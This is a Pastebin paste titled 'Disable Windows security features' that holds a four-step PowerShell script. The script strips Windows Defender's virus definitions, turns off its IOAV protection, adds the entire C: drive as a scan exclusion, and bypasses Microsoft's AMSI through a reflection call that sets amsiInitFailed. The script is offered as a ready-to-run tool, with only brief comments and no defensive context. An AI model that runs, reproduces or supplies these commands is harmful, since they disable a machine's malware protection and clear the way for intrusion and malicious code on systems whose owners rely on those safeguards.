Advertisement
u0m3

Disable Windows security features

Jul 29th, 2018
294
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Remove Windows Defender "Virus" Definitions
  2. &'C:\Program Files\Windows Defender\MpCmdRun.exe' -RemoveDefinitions -All
  3.  
  4. # Disable Windows Defender
  5. Set-MpPreference -DisableIOAVProtection $true
  6.  
  7. # Add an exclusion path (the entire C drive) in case Windows Defender comes back to life
  8. Add-MpPreference -ExclusionPath 'C:\'
  9.  
  10. # Disable Microsoft's AntiMalware Scan Interface (AMSI)
  11. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null,$true)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement